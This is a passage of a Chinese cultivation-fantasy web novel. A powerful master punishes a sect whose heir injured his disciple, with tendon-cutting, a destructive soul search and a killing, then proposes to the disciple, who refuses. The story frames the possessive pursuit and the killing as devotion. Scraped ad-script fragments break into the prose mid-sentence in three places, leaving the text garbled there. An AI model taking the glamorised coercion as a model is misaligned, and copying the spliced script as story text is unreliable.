诸天宗老祖错愕的瞪圆两眼,敖风下的黑手,竟然被说成天灾?简直岂有此理! 旋即情绪更加激动,直接站起身呜哩哇啦嚷嚷起来,唾沫横飞。 “不过你别急,”广元视而不见,嘴上却笑着安抚他,“毕竟是在我天地仙府遭遇的天灾,我会给予宗主一些天材地宝作为补偿。” 那位老祖这才消停。 广元复又看向不耐烦手敲着桌案的敖风,“师祖意下如何?” 敖风轻敲桌面的手指倏然一顿,撩起眼皮睨着诸天宗老祖,“从来都只是本座问别人要财宝,还从未有人敢伸手问本座要的。” 他垂眼觑向诸天宗老祖另一条完好无损的手臂,“是不是两只手都没了,你才能老实?” 诸天宗老祖喉头一噎,还未说什么,敖风突然神色一肃,身形忽而化风,朝着后山飞掠而去。 疾风狂涌,才将将复原的两仪殿瞬间被吹得七零八落。 广元坐在椅子上,看着坍塌的四壁,习以为常的端起身旁的茶盏浅饮一口。 准备将之放回原位,茶盏却在手中碎成两半,茶汤混着泡软的茶叶撒了他满身。 广元:…… * 后山,余枫一手持剑抵着重孙子公子脖颈,脚踩在他胸膛,居高临下的睨着他。 脸颊有些痒意,有温热的液体顺流而下。 余枫随手一擦,看着手背上擦开的大片血色,手中剑锋又往重孙子公子脖颈送近一分。 剑刃寒气四散,冰冷的雾气在重孙子公子面上弥漫开来,像冰原野兽舔舐他面庞。 “卑鄙小人!穿着鲛人雪纱跟人打,你胜之不武!” 重孙子公子现在已然面目全非,嘴角血流不止,牙似被打掉几颗,说话漏风,不仔细听都听不清。 “你搞偷袭你不卑鄙?” 余枫踩着他胸膛的脚用上几分力,直踩得他闷哼不止,口中又溢出血来。 “再说我用了法衣又如何?不用把你说的多高尚,你并不是不想用,而是没有,方才那影玉我瞧见你就玩得很开心。” “你……”重孙子公子气急败坏,用肿成一条缝的眼瞪她。 余枫用剑身拍了拍他脸颊,“我告诉你,我是喜欢师尊,但……” 不远处啪的声脆响,余枫瞬间警醒循声望去。 一截树枝掉落在地,两头翘起颤了颤,云白软靴跟着踩下,步伐略微踉跄,片刻稳住。 洁净无尘云染霞光长袍垂贴于身,袖角还勾着细细的树枝,随着那人动作前后轻晃。 敖风黑眸亮起两点明月,似有烟火在其中炸裂开来。 “枫儿……” 14. 第14章 “师尊?” 看到如此出场的敖风,余枫有些意外,想问他怎么来了,却忽地想起自己脸上受了伤。 敖风曾在她身上留下气息,但凡她受伤,他那头就会有所感知,必定第一时间赶到。 看着她白玉脸颊上绽开的大片嫣红,敖风眼底笑意倏然被寒风吹散,提步朝她阔步走去。 周遭平地起风,吹到人身上如料峭雪山刮下的风雪那般瘆骨。 停在余枫面前,他抬手想触碰那伤处。鲜血艳红,分明指尖还未触及,却似是灼痛了他,手指生生停在虚空。 余枫见他盯着自己的脸颊一动不动,抬手随意就要将血迹再次抹去,却被他扣住手腕。 “一点小伤而已,师尊不必担心。” 敖风眸光暗沉,万丈深渊般不可窥探,将点点光亮尽数吞噬,只剩下浓浓漆黑。 “女儿家的脸,何其珍贵。”他垂眼瞥向地上被打的面目全非的重孙子公子。 语调听不出喜怒,只分出来一点眼尾余光,便似碎冰兜头而落,那位公子在这艳阳天被冻的打了个寒颤,浑身僵紧不敢动。 “随我回去,给你疗伤。” 余枫的伤势要紧,敖风不容置喙地拉着余枫往回走。 “哎等等师尊,”余枫挣扎,“这小子胡说八道,我还没给够他教训呢。” 敖风只是拽着她往前走,没有停下来的意思。云白长袍衬出的背影如雪山巍峨,沁着丝丝冷意。 “师尊……”余枫拽着他的手往后蹲,“我还有场比试呢,我比完了再随你回去疗伤,如何?” 敖风这次顿住脚,回头朝她望来,“枫儿。” 他声线很平,平的像是没有感情波澜,那双眼更是深不见底的黑,如海底深处从未有人踏足过的隐秘之境。 余枫心头砰地重跳一声。 那样的神情,这十几年来,她还是头一次在敖风脸上看到,与往日和善温柔的他俨然天壤之别。 心神稍定,待她要仔细去看,敖风已容色如常,余枫只觉有些恍惚。 腰身一紧,敖风直接御风将她带回恒心殿。 耳畔呼呼风声消失,双脚踩上坚实地面,余枫还是仰头看着敖风,想寻找方才那违和感的蛛丝马迹,可惜,什么都没发现。 他牵着她踱到床前,从纳戒中取出诸多罕见药草丹丸,在床榻边缘一一摆开。 抬手灵力如溪水源源不断自掌心而出,清洗着余枫脸颊上的血污。 血流不多,但被余枫随意擦拭抹开,瞧着一大片嫣红触目惊心,实则伤口还不过小拇指长短。 余枫看着闷着一言不发给她疗伤上药的敖风,清清嗓子道,“师尊说的还是有点道理,我实战经验不足,所以被那重孙子小小暗算了一下,受了点小伤,日后还是得勤加修炼,最好多出去历练一番,经验充足,就不会有这样的事发生了。” 敖风还是抿着唇不说话,给她清洗完伤口,便将那些个灵丹妙药挨着给她用一遍。 无名指沾染药膏,小心翼翼的在她伤处揉开,由微微的凉转暖,伤口开始发痒。 不过片刻,结痂脱落。 只是新长出来的肌肤比别处要粉嫩些,看着更脆弱。 敖风眉头稍微舒展,手指摩挲着纳戒,漆黑的石头微光闪烁,他掌心多了颗冰蓝明透的珠子。 这半晌终于开口说了第一句话。 “这个给你,”他拉起余枫的手,不给她拒绝的机会,将珠子直接塞入她掌心。 “我自会护着你,但若稍有距离,还是无法第一时间出现,此物,会时时刻刻护你周全,今日之事,绝不会再发生。” 余枫垂眼看着手中冰蓝色的珠子,内里似流水般的精纯灵力流动,隐约还有丝丝缕缕的风,一眼便是不凡之物。 自然,他从来给她的东西都非凡品。 但手中这个,感觉尤为珍贵。 余枫想推拒,敖风却握着她的手,将那冰蓝色的珠子直接打入她体内。 “师尊?”余枫惊了一跳。 敖风起身,云白的长袍垂落服帖于身,“在你体内不会有事,还会助你修为,放心。” 他抬手轻揉她发丝,眉眼一如既往的温柔,“广元这些时日确实累了,我打算给他放个假,亲自处理点事务,你在恒心殿乖乖待着,至多两日,我定回来。” 言罢,他甩袖转身,大步跨出门槛。 外头艳阳高照,他温柔眉眼转瞬染上阴寒,那灼目的光,半分融化不了。 衣角风云纹样翻飞,身形化为流光,转瞬出现在两仪殿前。 殿内狼藉一片,广元正在修复,而那位诸天宗的老祖却不知去向。 “人呢?” 阴沉沉的嗓音,如猛兽暗中窥伺,广元被惊了一跳慌忙回头。 门前日光下,敖风背光而立,那张俊美的脸隐在阴影处,如浓云翻滚,暗藏雷霆。 广元跟随敖风五百余年,对敖风的脾性也算有所了解,见此一幕,立马扔下手中物什,双手拱起,恭敬又严肃的冲他行礼。 “方才有人前来与那位老祖耳语两句,那老祖借口有事便先走了,师祖,可要广元现在带人去拦截?” 敖风不理会,只问,“走了多久?” “一炷香。” 脚下狂风起,卷起四下残骸扶摇直上,待到风止,敖风已然不见了踪影。 广元额上冷汗涔涔,等周遭再无动静,这才急忙抬起头来,“方海!速去跟着师祖!若有什么事及时传音与我!” 原先也曾见过敖风发怒,便是将余枫带回来的当夜。 他安抚好余枫,又返回战火纷飞的地方,将霍乱的玄灵一夜屠杀殆尽。 云白长袍染遍玄灵发黑的血,在无净水中冲刷三日三夜方才将血腥之气冲散。 这回……是人要遭殃了。 * 日头高挂,几团厚重的云慢悠悠的在扶光附近徘徊。 地面松涛如浪,有穿着金色服饰的人御剑飞速穿林而过。 几百号人,皆屏息静气,大面积过境,只发出细微响动,被风吹树叶的沙沙声轻松掩盖。 忽而,众人停在原地。 断了一只手的老祖划破手指,以血在地面飞速画下阵法。 最后一滴血色落地,阵法亮起猩红光芒,将场中所有人尽数覆盖。 明光刺目,再次消散时,眼前出现熟悉的山门, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 写着“诸天宗”三个大字。 在场众人皆长松口气,诸天宗老祖更是肩头一落,回头看向被门下弟子搀扶走来重不知几辈的孙子。 出趟门,孙子面目全非,他也折了一条手臂。 诸天宗老祖痛彻心扉,眼底有不甘怨愤。 “不过是头得了天地造化的畜生罢了!竟如此嚣张放肆!琪儿莫怕,待祖爷爷伤好,定给你讨个公道!” 这位老祖能有这些底气,也是有缘由的。 敖风是天地造化灵物,修炼的条件本就得天独厚。而他是以凡人之身入道,修炼几千年,只差一步方可登仙。 敖风修为虽更甚,这位老祖也在明面给他几分薄面,但暗地里,并不看得起敖风。 深知敖风的脾性,得知孙子伤了余枫,他便当机立断带着所有人返回,幸好,全员安全抵达。 他不信,在他的地盘,那头畜生还能翻出什么浪花来。 提步踏上一级台阶,正欲回寝殿歇息,头顶突然金色明光骤亮,尖锐的警钟声嗡嗡长鸣。 “护宗大阵怎么触发了?!” 地上弟子先是迷茫,紧接着不知是谁高呼一声,“快看上面!” 众人骤然抬头。 护宗大阵金色弧光上方,一抹云白颀长身影迎风而立,如天神降临,站在高空,居高临下睥睨苍生。 诸天宗老祖面色微变,却也只是一瞬,立在原地巍然不动,也没有挥散门人。 “莫慌,护宗大阵乃我与诸多长老联手布下,只凭他一人,如何……” “破得”二字还未出口,就见上方敖风一抬手,身后狂风骤起,连同厚重的云被卷碎在风中。 咔的脆响,护宗大阵裂开数道缝隙,僵持一瞬,以肉眼可见的速度朝着四面八方迅速扩散,最终化为点点金色星芒,被狂风尽数吞噬。 虚空中,那抹云白的身影徐徐飘落在地。 墨发漆黑,束发的灵石发冠在日光下闪闪发光,行走之间,袖角衣袍的金色风云纹样跟着晃动,仿佛活了起来。 步伐轻松闲适,仿佛只是来老友家作客。 周遭的叫嚣声在护宗大阵破碎开始就被吞没,直至敖风落地,迈出一步,不知是谁吞咽了口水,能听的一清二楚。 敖风闲庭信步踱向那位重孙子公子,云白袍角翻飞似水浪。 并不看他,但那位重孙子公子却如坠入冰湖般呼吸骤停,两眼直勾勾的看着朝他越来越近的敖风,心脏砰砰狂跳,随时有过热炸裂的风险。 敖风停在其三步开外,垂在身侧的手指微动,那位诸天宗老祖倏然回神,一个箭步上前将重孙子护在身后。 敖风眼皮撩起乜他一眼,将方才碎裂护宗大阵被吹乱的衣袖理了理。 “你要做什么?余枫虽然受伤,但我孙儿受伤更重!只是小辈之间的打打闹闹,无需上升至长辈层面!” 敖风浑然不在意他缺了齿的嘴里吐出的什么话,指腹抚过衣袖边缘金线缝制的风云纹样,“你孙儿不过是烂肉一团,如何能与枫儿相提并论?” 诸天宗老祖面色瞬间难看,“你……” 敖风落下衣袖,抬眼朝他看来,“护一人,还是护全宗,选吧。” 15. 第15章 他身上威压铺天盖地压下,四下空气仿佛都被压成一张薄纸。 在场众人连呼吸困难,有人当场呕出一口嫣红的血,其中还夹杂着内脏碎块,俨然是被压碎了肺腑。 他说让选择,但在场众人心里都清楚,根本没有选择。是一人死,还是全宗死,全在眼前男人一念之间。 方才嚣张叫骂敖风的诸天宗老祖,此刻怔怔看着形容端方的男人,颤了颤唇,一个字都吐不出。 敖风抬脚,朝着那位重孙子踏去。 衣袍拂动间,那位面目全非的公子飞快伸手攥住祖爷爷衣袖。 “祖爷爷救我!琪儿还未过二百岁诞辰,不想这么快就死去……” 诸天宗老祖要侧目看向孙儿,前方云白软靴轻轻落地,劲风化刃,从那老祖面上吹过。 玉器碎裂发出轻响,那位老祖头上玉冠坠落在地,摔了个粉碎。 满头白发凌乱披散,不见身为一宗老祖的半点威仪。 “别紧张,我不会取你性命。” 低沉的嗓音方才还在三步开外,眨眼就出现在那位重孙子公子耳畔。 霜雪冷香随风阵阵漫入重孙子鼻尖,吸入肺腑,寒气自内而外飞速生长。 悬着的心还未落下,就听那低磁的嗓音又轻描淡写补了两个字。 “暂时。” 他随意打了个响指,凭空出风旋,肉眼能看到风白色的波纹,在地面化为一把椅子。 敖风上前撩袍坐下,看向不言语的诸天宗众人,长眉微敛,天空突然乌云密布,风压似雪山倾崩兜头而降。 万钧之重,众人只觉喉头气血瞬间翻涌,双膝承受不住压力当即跪地,脚下青石应声而裂。 敖风黑目裹着两点寒霜,看着清一色跪地的诸天宗众人,眉目舒平,微冷的视线落在那位重孙子公子身上。 “本座去的时辰有些不巧,只听到你与枫儿对话的最后两句,你现在可否与本座重述一遍,跟枫儿都说了些什么?” 重孙子浑身一颤,按在地面的五指蜷紧,掌心沁出的冷汗将沾染的灰尘黏成泥。当即跪地伏身,恨不能将头直接扎入地底。 “敖风尊主息怒,小人只是与余枫仙子开了几句玩笑话。” “哦?那本座更好奇了,究竟是怎样的玩笑话,让枫儿将公子打成这番模样呢?” 重孙子浑身血液逆流至面庞,心跳过速,汗如出浆,手脚却禁不住发冷。想迅速编造出来个完美谎言,但是周遭威压如暗中窥伺猛虎,脑海中神经紧绷空白一片。 豆大的汗珠从面上顺流而下,在下颌处汇聚一滴,接二连三的坠入地面。 “我、我……” “别紧张,”敖风垂在肩头的发丝被风吹得左右轻晃,“若你说不出来,本座可以亲自助你一臂之力。” 那位重孙子瞬间变了脸色。 “我说、我说!” 座上之人换了个姿势,仍旧专注地看着他,一副洗耳恭听的模样。 重孙子抖如筛糠,冷汗浸透后背衣衫,哆哆嗦嗦,半晌一个字都说不囫囵。 “我、我与余枫仙子说、说她……” 喉头似是梗着烧红烙铁,吐字艰难。 重孙子睁着红肿的眼悄然看向左右。他那位祖爷爷噤若寒蝉,跟他一样跪得齐整。 按在地面的双手再次紧攥,隐隐有血气散出。 视线转动,云白的软靴进入视野。微冷的霜雪气迎面扑来,缥缈环绕在他身侧,冷意挥之不去。 那般话语,说也不是,不说也不是,梗在喉头,如鱼刺难以下咽。 仿佛已经看到自己接下来的结局,重孙子紧绷的神经突然崩溃,放声大笑,却又在眨眼之间泪流满面,涕泗横流。 双手运起灵力,就要照着天灵盖猛然拍下。 微风起,将他掌心亮起的微光搅碎,嗤嗤两声,他双手手腕血液喷溅,手筋被齐齐挑断。 撕心裂肺的惨叫声响彻苍穹,敖风坐在上位冷漠看着,手指轻敲风椅扶手,仍旧一副等待他下文的模样。 哀嚎声久久才息,那位重孙子唇色苍白,外袍也被冷汗浸透,三魂七魄去二,却是说话无能。 “看来,还是需要本座帮你。” 敖风轻敲的食指顿住,右手抬起,一股精纯灵力喷涌而出,按上那重孙子的天灵盖,另外一手朝虚空甩出道风幕,有影像在虚空逐渐由模糊转为清晰。 过程简单且快,但那位重孙子公子瞬间两眼翻白口吐白沫,已然不省人事。 搜魂术。 若使用得当,可将人潜藏在深处的记忆完好无损的调出,使用不当,被施术人会变成痴傻。 显然,敖风压根没想得当使用。 跪在地上的那位诸天宗老祖痛心疾首紧闭双眼,不忍再看孙儿惨状。 救?他一手才被敖风所伤,根本不是对手。 风幕画面转动,有声音从中徐徐而出。 “我再如何胆小没种,也好过你跟你师尊以师徒之名,行苟且之事!” 搜魂而出的影像声音并不大,但此刻落入众人耳中,却如晴天旱雷自耳畔炸裂开来。 诸天宗老祖两眼瞬间圆睁,片刻后绝望的闭上。 “情意,还分什么身份,还分难堪不难堪吗?” 敖风起身,身下风旋椅子跟着消散。 广袖随意一甩,风幕破碎。他提步不疾不徐走到已然人事不知的重孙子公子面前,却侧目看跪在旁侧的诸天宗老祖。 “你说呢?” “敖风尊主……说的是。” 诸天宗老祖尾音还未落罢,旁侧风声呼啸,砰的声宛若炸开个瓜,腥臭血雾随风而散。 敖风甩了甩右手沾染的粘稠血迹,随意擦拭在那位诸天宗老祖肩头。 “劳烦宗主帮本座通告四海八荒各大仙门,本座择日要与枫儿结为道侣。” 血迹擦净,他又施展灵力,将难闻的血腥气驱散。 “本座倒要看看,在这四海八荒,师徒恋究竟可不可。” “……是。” 敖风走了。 这回他选的是杀一人。 所有人都松了口气。 诸天宗老祖跪坐在地,看着身旁散开血迹,闭目颤声道,“传信各大宗门,敖风尊主要与其徒儿结 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 为道侣,万望前来恭贺。” 无人应声。 门下弟子皆神魂飞往九天,被紧接着一声怒喝召回心神,这才四散忙碌。 * 两仪殿。 孔方海疾步匆匆先行入内,“师祖回来了。” 广元急的在原地来回踱步,脚下那几块青石板色泽都光亮不少。 听闻爱徒声音,急忙顿住脚步,前往门前相迎。 未见人,风先至。 “怕本座做出什么霍乱不成?还让孔方海在暗中盯着本座。” 风停在前,敖风身形逐渐从中显出。 面上阴沉之色褪去不少,但仍然不善。 广元当即跪地,“广元有罪,还望师祖责罚。” 他确实是怕敖风做出什么不可挽回的事来。 寻日里面对玄灵妖魔大开杀戒也便罢了,但若对同道中人如此痛下杀手,整个天地仙府,恐会成为众矢之的。 敖风自然不在乎,无人敢在他面前说个“不”字,但仙府弟子终究还要下山除魔降妖,难免会与其他宗门的人碰上。 广元也是不得已,才出此下策。 “罢了,”敖风摆摆手,“明日本座将向枫儿提出结为道侣的事,且让诸天宗的人帮本座通知了四海八荒各大仙门,这几日,你便带人去准备一下布置安顿事宜。” 广元飞快抬头朝他看来,想说什么,太过惊诧被口水呛住连连咳嗽,孔方海急忙上前帮他顺背。 “怎么?”敖风眯起眼,“你也有意见?” 广元咳的说不出话,连连摇头,好半晌缓过劲儿来,“没有,只是觉得会不会太过突兀?余枫那边若是难以接受的话……” 他话没有说完,小心观摩敖风脸色。 后者听闻此言却是舒展眉头,下意识抬手抚上腕间束着的老旧手链。 “枫儿自不会拒绝,本座也是算着时机方才如此决定的。” 广元还是一副怀疑态度。 前几日还说余枫情窦未开,让送去些谈情说爱的话本,今日就说事情成了,要准备结为道侣,怎么都觉得不靠谱。 但看敖风这般笃定自信神色,广元还是决定闭嘴。 “是,我这就去命人准备。” 敖风脸上阴云一扫而空,指着孔方海道,“你随本座来。” 方才亲眼见敖风将那位重孙子在掌心下化为血雾,眼下被敖风点名,孔方海一时愣神,而后踏出拱手抱拳。 “师祖有何吩咐。” 敖风笑得几分神秘,带着他去了定缘峰。 孔方海心头原本还有些说不出的忐忑,但当敖风拉开他装满各色华服的衣柜,让他帮忙挑选明日新衣时,突然觉得自己方才心头生出的些许恐惧有些滑稽。 “明日穿这件如何?” 敖风手中提着一件坠满宝石的月白长袍,冲着孔方海晃晃。 孔方海讪讪一笑,上前取出一件正常点的衣袍。 “师祖不妨试试这件。” 敖风盯着他手中衣袍,略微蹙眉,摇摇头。 二人你挑一件,我挑一件,竟生生挑了一整晚。 16. 第16章 敖风一句话,不光素日里闲散的天地仙府上下忙碌起来,包括四海八荒的宗门也跟着成了热锅上的蚂蚁。 敖风从不遮掩对余枫的偏心,也从不在广元等人面前隐藏他的私心,整个天地仙府都认为这是迟早的事,甚至沉浸在了喜庆日子的欢闹中。 余枫在恒心殿中还一无所知,实在无聊,关于人间的书已经翻烂了,再看向狄玉环给她送来的书,起身踱到桌案前,一眼就看到上面摆着本书名叫《师徒恋可》的书。 她将之拾起,看了眼书封,便随手扔到旁边,在一摞书中翻找感兴趣的。 翻来覆去,大都是谈情说爱的书册,她眼下并不感兴趣。 指尖运起灵力,画了传音咒出来,随手一挥寻狄玉环而去。 往日狄玉环回的还算快,但今日传音咒一出,却如石沉大海,许久都没有丁点回应。 余枫踏出殿门,想寻仙婢们玩闹,但连殿内的仙婢都不见了踪影。 着实古怪。 余枫索性乘风往两仪殿去,看看究竟是个什么情况。 行至虚空,百无聊赖地看四下风景。 地面松浪翻涌,有灵雾潜藏其中,随风而动。 有道金色虚光在低空飞掠,而后眨眼没入林中。 “那不是我的传音咒吗?师姐在这儿?” 余枫目露疑云,灵力倾注脚下浮云,朝着传音咒没入的树丛降落。 “师姐?师姐!” 余枫拨开树叶朝深处走去,脚下踩着枯枝时而发出噼啪断裂声。 林中除却虫鸣鸟叫,空空如也,连同她的传音咒也不见了踪迹。 余枫驻足,“这倒是怪了。” 随手就准备再画一道传音咒,余光瞥见地面斑驳疏漏的碎光中,有影子在靠近。 余枫眉梢轻挑,手腕摄魂铃暗蕴灵力。 “是我,可别用你的法器对付我,我没有什么宝器防身,命很脆,一碰就碎,误伤了这辈子就赖上你了。” 狄玉环略带几分乏累懒散的嗓音在身后响起,余枫灵力卸下,当即回头,开始在纳戒中摸索。 “这个给你,还有这个。” 余枫接二连三从纳戒中掏出各式各样的法器,统统塞到狄玉环手中。 狄玉环哑然失笑,“这些都是师祖给你的,若是看见我用了,指不定要将我如何。” “师尊不会的。” 狄玉环也不与她争辩,笑着将东西都推了回去,“你自己留着防身吧,日后说不定能用得着。” 余枫将东西又放回纳戒,跟着狄玉环后面往出走,抬手拨开挡在眼前的枝条。 “师姐在这儿做什么?” 狄玉环脚下微微一顿,顺势在原地伸了个懒腰,“还能做什么,躲懒呗。” “对了,”余枫紧步凑到她跟前,悄声道,“师姐有没有感觉今日仙府有些古怪。” 狄玉环看着她,“如何古怪?” “我恒心殿那几个仙婢,寻日里围着我转,今日却一个不见,这就足够古怪了。” 狄玉环眼底虚光闪烁,不看余枫,继续往外走,“可能是今日有大事要忙。” “大事?这仙府能有什么大事,最大的事也就是刚刚结束的弟子大比,被那重孙子公子一捣乱,害得我好不容易争取来的大比都没参加。” “过不了多久你就知道了。” 二人出了树林,太阳光直照在余枫面上,有些晃眼。 “我知道,又是什么时机未到,是吧?” 狄玉环笑着轻捏她脸,“我也有事要忙,躲懒半天,师尊找不到我该罚我了。” 她走出两步,复又顿住脚回头。 “余枫,你想一辈子都留在天地仙府吗?” 余枫微愣,不知她为何突然如此问,还是摇摇头,“不想,先前与你说了,我要去人间,不光是为了那声音,我还想让天下太平。” “天下太平,”狄玉环眉眼荡开笑意,“先前还以为你说着玩呢,很宏大的梦想,但是我支持你。” 这回她转身走了,再无逗留。 余枫心中古怪的感觉愈发盛了。 不光今日的天地仙府不同寻常,连狄玉环也有些不大一样。 师尊好像也有问题,平日里这个时辰她若没去问安,他就会来恒心殿了,找不到她人还会传音咒联络。 今日却音讯全无。 余枫一脚踢飞脚下石子,“时机未到,时机、时机……该死的时机。” 她乘云离去,身后风过树林,沙沙响动,有黑影游鱼般潜伏在阴影中,悄然没入更深处。 * 余枫四下兜转一圈,仙府的人果真忙得热火朝天。 平日里瞧着她还会打个招呼,现在却是低头装作没看到她,闷头忙各自的活计,甭论她说什么,都只稍作应对,并不多说。 不过余枫在山上十几年,除却狄玉环跟孔方海,鲜少有人跟她玩,也习以为常,并不放在心上。 返回恒心殿时,敖风的传音咒姗姗来迟。 ——枫儿,来桃林。今日桃花开的不错,可做梳洗打扮再来,不急,我候你。 梳洗打扮? 余枫不以为然,乘云便要赶去桃林,却被突然冒出的仙婢拉住,不由分说为她梳洗。 问她们做什么,还是得到跟狄玉环说的相差无几的话,“到了桃林姑娘就知道了。” 余枫:…… 她就多此一问。 手忙脚乱的梳洗结束,仙婢们扶着余枫起身,将她原地转动,仔仔细细查验一番,旋即露出惊艳又满意的笑容。 “姑娘去吧,我们等姑娘好消息。” 余枫回头看着在殿门口排成一列冲着她微笑挥手的仙婢们,心头古怪又深了一层。 这些人搞什么名堂? 再有人跟她说个时机未到试试看呢? 鲛人雪纱除却防御,还可用灵力变幻颜色。 那些个仙婢们将她素白的长裙用灵力染成绯红,余枫飞入半空,又用灵力将之改了回去。 裙摆与云雾齐齐飞舞,转眼便能看到地面峰头一片灼红。 桃林到了。 余枫乘云徐徐降落,扫视周围。 今日桃花开的确实比往日要艳,仿佛要将所有的美一股脑在今日尽数绽放。 敖风褪去了云白的长袍,一身扶光色,站在满目绯红中,仙风道骨又不失矜贵华丽,十分惹眼。 余枫提步朝他走去,顺带看今日开的最艳的桃花,“师尊,为何今日说事还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得到桃林来?神神秘秘的。” 敖风转过身来,冲她盈盈一笑。 “是有大事。” 他头上戴着明珠冠,日光一照,刺目的睁不开眼来。 余枫被晃得眯起眼,不由得重新将他上下打量一番。 “师尊你今日这身真是……” 敖风双臂抬起,在她面前展示一圈,“如何?” 这可是昨夜与孔方海精挑细选一夜的结果。 余枫道,“一股花枝招展的味儿。” 敖风:…… 躲在暗处看着师祖表白场面的广元孔方海等人:…… 狄玉环没忍住,噗笑出声,被旁边广元紧忙捂住嘴,做了个噤声的动作。 “谁在那儿。” 余枫循声望去,抬脚就要过去看个究竟。 “枫儿。” 身后男子嗓音温润唤住她,余枫驻足回头。 微风吹过,桃花雨阵阵落下,停在男子的发鬓肩头。 “枫儿,觉得师尊如何?” 原先曾无意间听到她对他的夸奖,也曾听到她说喜欢,如此问,不过是寻个开口的切入点罢了。 敖风眉眼舒展,胜券在握,黑眸泛着灼灼明光,等着余枫说出他意料中的回答。 余枫答:“师尊自是极好的人。” “枫儿可喜欢?” “师尊温柔和善,我自然喜欢。”更何况还是她的救命恩人。 很好。 每一句都与他预料的差不多。 敖风笑容舒展,立在原地朝余枫伸出手。 “那枫儿,可愿与师尊结为道侣?” 余枫脑海中有片刻空白,“师尊说什么?” 竟是惊喜至极,觉得不可思议,想再确认一遍他说了什么。 敖风表示理解,耐心地又说一遍。 “可愿与师尊结为道侣?” 这回,余枫确认自己没有听错。 她看着敖风伸出的手。五指修长,指甲修剪的圆润,劲直如竹,有着翻云覆雨的能力。 十几年前,她初初记事。 那日夜里玄灵暴动,在她所在的村落烧杀抢掠。 她不记得很多细节,只记得那日夜里橘红的火舌高涨,将半边夜幕都烧的通红。 鹅毛大雪纷纷而落,却无法覆盖那场大火。 她赤足站在雪地里,无助茫然的看着惨状、听着哀嚎,心如死灰,静静等待被那些玄灵发现后吞噬,亦或者是冻死在雪地里。 迷茫之际,有人冒雪而来。 身形颀长,通身珠光宝气,似是被供养的很好的仙君。 余枫看着他,他冲她微微一笑,落在眉梢的雪花跟着融化,她莫名伸出手,搭在他微凉的掌心,从此命运发生翻天覆地的改变。 如今,敖风又朝她伸出手。 这次若搭上这手,命运兴许又要发生变化。耳畔猛然回响起狄玉环那时回头问她的那句话——可愿一辈子留在天地仙府? 余枫定定看着他伸出的手不说话,敖风当她是激动到说不出话,复又将手往前伸了伸。 “枫儿?” 余枫抬起头,往日率性随意的神色难得一见的严肃认真。 她答:“不愿。” 17. 第17章 余枫自小有人宠着兜着,便养成了做事直接且干脆利索的习性,说话也是如此,没有那么多弯弯绕绕。 敖风是她的救命恩人,虽然在天地仙府十余年不曾教授她太多,但基本功什么的是教授了,也算是她的恩师。 但感恩不等于感情,她拒绝的还是很直接。 “不愿”两个字几乎没有犹豫,直接脱口而出。 敖风唇角笑意微僵:? 定是听错了。 “枫儿?”敖风神色变得不自然,却仍旧微笑着,“我方才没听清……” “我不愿。” 余枫便又重复了一遍。 这回他听清了。 字字有力,想听不清都难。 敖风悬在虚空的手僵硬地缓缓落下,微风吹拂桃花片片飞舞,在余枫“不愿”二字再开口前倏然停滞在虚空,已然是落下一道结界。 他双手负在身后,一手按上腕间陈旧的手链,五指紧收,捏的肌肤发青泛白,面上镇定自若维持着温柔风度。 他知道四周有不少弟子看着,维持的笑容不落反而更加温柔灿烂。 想问余枫一句“为何”,他分明都听到了,那些她夸赞他的话绝不是作假,难不成…… 一切都只是他误会、自作多情? 这对于活了万年,备受天地宠爱的造化风灵龙而言,是万万不能接受的。 更何况过去几千年,她从未如此。 究竟是哪里出了差错? 面对着余枫坦然直率的双眸,他心头莫名生出怯意,话在喉头滚了滚,终究咽下。 于是,天地仙府的开山师祖,笑着跟余枫说了句“不必如此着急回答,可多思量几日”,卷成一缕风——狼狈逃了。 啪的轻响,敖风离开的刹那,落下的隔音阵法倏然破碎,化为点点荧光随风而落。 虚空停滞的花瓣继续打着旋儿落地。 一切恢复如常,只是那些桃花开的,好像不似来时那般艳了。 余枫站在原地,看着敖风远去的方向怔怔出神。 师尊这次逃跑的速度,好像比以往都要快。 远处早已隐匿在此,看师祖求结道侣的众多弟子没想到竟然会看到这样一幕结局。 虽没听到敖风第二遍问话余枫如何回答,但第一遍他们都听到了。 余枫没有压着声音,坦坦荡荡回了句“不愿”。 知晓敖风真实性情的众人,纷纷在回神之后当做从未来过此处,作鸟兽四散。 广元师徒三人也在此列。 敖风离去当场,广元神情肃穆地直起鬼鬼祟祟的身形,郑重拍在孔方海肩头,递给他一个好自为之的眼神。 孔方海满脸迷茫,看向狄玉环求助。 狄玉环叹息一声,抬手同样搭在他肩头,给这位同僚好心提了个醒。 “你选的衣裳,彩头不好……” “衣裳、彩头?!”孔方海顿时恍悟,急的额上冒汗,“我、我只是好心帮忙挑了个衣裳而已,表白失败关我什么事?” 狄玉环抬手轻按眉心,“再大声点,让四海八荒都听到。” 孔方海登时噤声,四下警惕查看,不见异样,方才紧步追上狄玉环。 “师妹救我……” “没救了,回去等死吧。” 表白以一场闹剧落幕。 天地仙府上下只忙碌了几个时辰,又恢复了往常的闲云野鹤、逍遥闲适。 四海八荒各大宗门请帖由敖风口头亲自传达,眼下是万万不可再发信函说是取消,否则旁人问起为何?难不成要回因为师祖表白失败? 无异于在敖风伤口泼热油。 遂广元决定,冷处理。 若那些个仙门人来了,天材地宝一应收下再送客,待日后敖风再结道侣,邀请他们来,不收他们的礼便是。 * 恒心殿。 余枫回来时,那些个仙婢皆两眼春色又带着八卦的望着她。 她说:我拒绝师尊了,都回去歇息吧。 众仙婢如遭当头棒喝,起初不信,后来看余枫神色并不是在开玩笑,遂喜色退去,各回各屋。 余枫躺在榻上,看着金纱帐顶,是师尊送给她的。 再偏头,殿内一应陈设器具,也皆出自敖风手笔。 师尊待她着实好。 今日拒绝师尊,师尊让她在思量些时日回答,可她不管怎么想,还是不愿。虽清晰明了,但不知为何心思还是乱七八糟,好似既定的关系认知被打破,需要时间来重塑。 忽而,她一个鲤鱼打挺坐直起身,大步流星走向桌案前,研墨提笔。 此事一出,师尊短时间内必不会带她去人间,而她需要寻那呼唤声,耽搁如此时长,也不知那声音是否消散,倒不如趁这个机会偷溜去人间。师尊不是让她多思量几日吗?在人间思量,等回来就告诉他答案。 